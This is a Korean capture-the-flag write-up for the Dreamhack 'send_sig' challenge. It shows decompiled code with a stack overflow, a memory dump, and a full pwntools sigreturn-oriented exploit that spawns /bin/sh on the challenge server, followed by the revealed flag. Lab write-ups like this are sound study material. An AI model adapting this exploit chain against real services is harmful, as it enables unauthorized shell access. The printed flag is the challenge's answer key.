dreamhack - send_sig writeup
[dreamhack] send_sig writeup
1. 문제

send_sig
서버로 signal을 보낼 수 있는 프로그램입니다!
프로그램의 취약점을 찾고, 익스플로잇해 flag를 읽어보세요.
flag는 home/send_sig/flag.txt에 있습니다.
2. 풀이
void __noreturn start()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
write(1, "++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n", 0x39uLL);
write(1, "+ You can send a signal to dreamhack server. +\n", 0x39uLL);
write(1, "++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n", 0x39uLL);
sub_4010B6();
exit(0);
}
ssize_t sub_4010B6()
{
char buf[8]; // [rsp+8h] [rbp-8h] BYREF
write(1, "Signal:", 7uLL);
return read(0, buf, 0x400uLL);
}
소스코드가 없어서 IDA로 까본 결과이다.
바로 전에 풀었던 srop 문제와 거의 동일하다. 제목도 send_sig
… 그래서 똑같이 풀면 넘어가졌다.
다만 bss
영역에 쓸 때, elf.bss()
를 사용하면 쓸 수 있는 공간이 되게 적다. (32바이트 정도인듯) 그래서 got
공간 뒤에부터 read
를 통해 입력해야한다.
pwndbg> x/100gx 0x404000
0x404000: 0x0000000000403e90 0x0000756dcb7552e0
0x404010: 0x0000756dcb7312f0 0x0000756dcb51c560
0x404020 <read@got.plt>: 0x0000756dcb51ba50 0x0000756dcb488550
0x404030 <exit@got.plt>: 0x0000000000401040 0x0000000000000000
0x404040 <stdout>: 0x0000756dcb6045c0 0x0000000000000000
0x404050 <stdin>: 0x0000756dcb6038e0 0x0000000000000000
0x404060: 0x0000000000000000 0x0000000000000000
0x404070: 0x0000000000000000 0x0000000000000000
0x404080: 0x0000000000000000 0x0000000000000000
그리고 이번에는 저번처럼 대놓고 소스코드에 gadget
함수를 박아놓지는 않았지만, ROPgadget
을 통해 검색해보면 syscall
도 있고 pop rax; ret
가젯도 있다.
from pwn import *
context.arch = "x86_64"
p = process("./send_sig")
p = remote("host8.dreamhack.games", 24272)
elf = ELF("./send_sig")
pop_rax = 0x00000000004010ae
syscall = 0x00000000004010b0
bss = 0x404060
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x500
frame.rsp = bss
frame.rip = syscall
payload = b"a" * 8
payload += b"b" * 8
payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall)
payload += bytes(frame)
p.sendafter(b"Signal:", payload)
sleep(0.5)
pause()
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bss + 0x110
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
frame.rsp = bss + 0x400
payload = p64(pop_rax)
payload += p64(15)
payload += p64(syscall)
payload += bytes(frame)
payload += b"/bin/sh\x00"
p.send(payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/send_sig$ python3 e_send_sig.py
[+] Starting local process './send_sig': pid 2648816
[+] Opening connection to host8.dreamhack.games on port 24272: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/send_sig/send_sig'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ cat /home/send_sig/flag.txt
DH{5a5e56589d32087ec7a37f3b70a84483eae7404e9072173ec7571b632b804760}
해결~